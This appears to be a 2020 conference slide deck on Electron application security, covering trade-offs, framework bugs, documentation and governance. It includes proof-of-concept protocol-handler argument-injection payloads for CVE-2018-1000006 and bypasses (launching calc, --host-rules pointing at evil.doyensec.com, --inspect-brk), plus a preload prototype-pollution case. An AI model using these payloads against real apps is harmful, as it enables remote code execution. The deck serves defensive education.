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S e c u r i t y  f o l k s  t o o !
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About me (early in my career)
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About me (for real)

•        AppSec since 2004 
• Electron HQ Member 

since May 2017 
• Doyensec Co-founder 
• ~20 assessments on 

major Electron apps 
• Former Lead of AppSec 

(LinkedIn)



Democratizing Security
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Challenges Ahead

1.Security trade offs  
2.Framework bugs 
3.Poor or inconsistent documentation 
4.Missing security governance 
5.Developers negligence



1. Security trade offs 
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Security VS Usability
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Browser Threat Model



Covalence 2020

Electron is NOT a browser

• While it is based on Chromium, certain principles 
and security mechanisms implemented by 
modern browsers are not in place 

• Modern browsers can enforce numerous security 
mechanisms to ensure proper isolation 

• Electron maintainers have to balance 
development usability and security
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Full chain exploit
1. Take control of the DOM 

•  Hijack the navigation flow 
•  Cross-Site Scripting 
•  Protocol Handlers 
•  AuxClick 
•  Man-in-The-Middle  
•  Drag & Drop

3. Leveraging Node.js APIs, obtain reliable RCE

 

2. Bypass isolation 
•  nodeIntegration bypasses 
•  … 
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From Browser to Electron - Attack Surface

• Untrusted content from the web 
• Limited interaction compared to a browser 

• E.g. Opening a BrowserWindow with a remote origin 
• E.g. External protocol handlers 

• Untrusted local resources 
• Extended attack surface  

• E.g. Loading subtitle files 
• E.g. DOM-based XSS in local files 
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From Browser to Electron - Isolation

• Potential access to Node.js primitives 
(nodeIntegration) 

• Experimental (and still unpopular) Chrome-like 
sandbox 

• Lack of isolated worlds by default (contextIsolation) 
 
 ✓ From XSS to RCE 

✓ Exploits Reliability  



2. Framework bugs
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The Design Trap

"Given Sufficient Bug Density,  
Security Design Is Irrelevant" 

                               @i41nbeer
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CVE-2018-1000006 (A)

• Windows Protocol handler RCE bug  
Insufficient arguments sanitization is performed in 
Electron, since it is possible to inject a quote 
followed by additional Chromium/Node arguments 
 
<script> 
win.location = 'myapp://foobar" --gpu-
launcher="cmd c/ start calc" --foobar=' 
</script> 
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CVE-2018-1000006 (B)

• Fixed by parsing arguments, and checking 
them against a blacklist. 
 
<script> 
win.location = 'myapp://foobar" —GPU-
launcher="cmd c/ start calc" --foobar=' 
</script> 
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CVE-2018-1000006 (C)
• As part of a customer engagement, we analyzed the patch for 

CVE-2018-1000006 and identified a new bypass. 
 
 
<!doctype html> 

<script> 
 window.location = 'skype://ldoyensec.testing?userinfo" --host-
rules="MAP * evil.doyensec.com" --foobar=' 
</script> 
 
Please refer to https://blog.doyensec.com/2018/05/24/electron-
win-protocol-handler-bug-bypass.html for more details 
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CVE-2018-1000006 (D)
•  An attacker can use the same vector to open Electron 

with the node inspector and then use DNS rebinding to 
access the insecure interface in order to execute 
commands: 
 
<!doctype html> 
<script> 
 window.location = ‘vscode://aaaa” — —inspect-brk=5555 “' 
</script> 
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CVE-2018-1000006 EOL

• Fixed in v2.0.9, v3.0.0-beta8 by: 
• Blocking the args parsing after a dash-dash 
• Adding protection against DNS rebinding on Node 
• …Unfortunately, custom application arguments 

can be still abused  

• Starting from v3 stable, no more command line 
argument black-list 
• Latest Microsoft IE and Edge perform URL 

encoding on the resulting URI handlers



3. Poor or inconsistent 
documentation
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Security, Native Capabilities, and Your Responsibility

From

To
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No contextIsolation -> nodeIntegration Bypass

• Even if you disable nodeIntegration,  
ContextIsolation is required for isolation 

• Initially reported in Electron 1.3 (November 
2016). Credits to Masato Kinugawa for this 
new class of vulnerabilities 

• This class of attacks is fully mitigated by the 
optional ContextIsolation setting
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Case Study - Undisclosed 1/3

• “Undisclosed Trading App ” 
• Isolated BrowserView, with no Node.js 

primitives and sandbox  

BrowserWindow 
nodeIntegration: false 
sandbox: true 
preload: […]
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Case Study - Undisclosed 2/3

• The application was using the following code in preload 

var IPCWhitelist = [ 
    'log-debug', 
    'log-info', 
    'log-warn', 
    'log-error' 
]; 
function sendIPCRequestSync(ipc) { 
    var arg = []; 
    for (var _i = 1; _i < arguments.length; _i++) { 
        arg[_i - 1] = arguments[_i]; 
    } 
    if (!IPCWhitelist.includes(ipc)) { 
        throw new Error(); 
    } 
    return ipcRenderer.sendSync.apply(ipcRenderer, [ipc].concat(arg)); 
} 

window.sendIPCRequestSync = sendIPCRequestSync; 

• At first glance, it seems reasonable
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Case Study - Undisclosed 3/3

• contextIsolation is off, hence we can prototype pollute 
the “includes” function: 



4. Missing security governance



Covalence 2020

Spot the security fix 1/2
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Spot the security fix 2/2
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Explicit Security Changes
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Vulnerability Disclosure

• Vulnerability disclosure is the practice of 
reporting security flaws
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• Disclosure policy and 
vulnerabilities handling 
practices 
• Incident response run-book 
• External communications 

• Security Workgroup 
• Frequent releases and semver 
• Shorter update cycles for 

Chromium 

We’re in a mature security state



5. Developers negligence
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https://www.electronjs.org/docs/all 
#checklist-security-recommendations
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Your Homework 
• Secure settings and good design for your application can 

help mitigating most of the vulnerabilities: 
• Do not load remote content 
• Use modern JS frameworks with contextual encoding 
• nodeIntegration: false / sandbox: true 

• contextIsolation: true 

• Carefully review your preload scripts 
• Do not expose Node.js objects / dangerous 

primitives
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So much to do…
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Electronegativity

https://github.com/doyensec/electronegativity

$ npm install @doyensec/electronegativity -g
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Usage

• Using it is as simple as pointing it to the 
repository directory or to the .asar 
package 
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CSV and Sarif Output Formats



Conclusions
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Democratizing Security
• Security trade offs 
• Security built-in by default, with clear opt-out configs 

• Framework bugs 
• Hardening, security testing, repeat 

• Poor or inconsistent documentation 
• More, better docs! 

• Missing security governance 
• Increased transparency, consolidated processes  

• Developers negligence 
• Security is everyone's responsibility
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Thanks!

• Feel free to contact me:   
luca@doyensec.com  
@lucacarettoni 

• Electron security slides, white-papers are 
available on our research page:                                 
https://www.doyensec.com/research.html


